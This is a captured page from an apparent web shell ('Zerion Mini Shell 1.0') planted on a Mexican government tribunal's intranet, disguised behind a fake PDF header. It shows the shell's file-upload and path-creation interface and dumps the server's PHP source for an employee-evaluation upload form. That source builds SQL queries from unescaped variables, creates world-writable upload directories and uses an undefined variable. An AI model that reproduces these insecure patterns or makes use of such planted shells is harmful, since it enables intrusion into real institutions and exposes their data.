%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/usuarios/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/usuarios/agregar_evaluacion.php

<?php

session_start();
include "../../config/config.php";
$_SESSION['expire'] = time() + (120 * 60);


$id_usuario = $_SESSION['id_usuario'];


$conf = new Configuracion();
$conf->conectarBD();

    $consulta = "SELECT * FROM tjam_empleados_evaluacion WHERE id_personal = $id_usuario";
	$rscons = $conf->consulta($consulta);
if(count($rscons) == 0)
{

    $consulta = "SELECT IF(MAX(consecutivo) IS NULL,0,MAX(consecutivo)) + 1 as consecutivo FROM tjam_empleados_evaluacion";
	$rscons = $conf->consulta($consulta);
	$consecutivo = $rscons[0]['consecutivo'];
	
    $folio = "TJAMICH_ESCC2023_".str_pad($consecutivo, 2, "0", STR_PAD_LEFT);

	$sql4 = "INSERT INTO tjam_empleados_evaluacion (id_personal,id_convocatoria,consecutivo,folio) 
	VALUES ('$id_usuario',1,$consecutivo,'$folio');";
	$id_documento = $conf->ultimo_id($sql4);
    
    


	insertaImagenRH($id_documento,'solicitud_pdf',$id_personal,$conf);
	insertaImagenRH($id_documento,'visitaduria_pdf',$id_personal,$conf);
	insertaImagenRH($id_documento,'oic_pdf',$id_personal,$conf);


$conf->desconectarDB();

}
header("Location: page_evaluacion.php");




function insertaImagenRH($id_documento,$db_campo,$id_personal,$conf) {

            
            $file_name = basename($_FILES["$db_campo"]['name']);
            $extension = pathinfo($_FILES["$db_campo"]['name'], PATHINFO_EXTENSION);
            $ext_formatos = array('png', 'gif', 'jpg', 'jpeg', 'pdf');
            $_FILES["$db_campo"]["size"];

            if (!in_array(strtolower($extension), $ext_formatos))
                return;
            if ($_FILES["$db_campo"]["size"] > 33000300800)
                return;
            $dia  = date("d");
            $mes  = date("m");
            $anio = date("Y");

            $targetDir = "../documentos/ccayt/";
            // $targetDir = "../documentos/rh/$anio/$mes/$dia/";
            @rmdir($targetDir);

            if (!file_exists($targetDir)) {
                @mkdir($targetDir, 0777, true);
            }
            $token = md5(uniqid(rand(), true));

            $file_name = $token . '.' . $extension;
            $add = $targetDir . $file_name;
            $db_url_img = "$id_personal/$file_name";


            if (move_uploaded_file($_FILES["$db_campo"]["tmp_name"], $add)) {
                $insertar = "UPDATE tjam_empleados_evaluacion SET $db_campo = '$db_url_img' WHERE id_registro = $id_documento";
               // echo $insertar.'<br>';
                $conf->actualizacion($insertar);
            }

}

?>

Zerion Mini Shell 1.0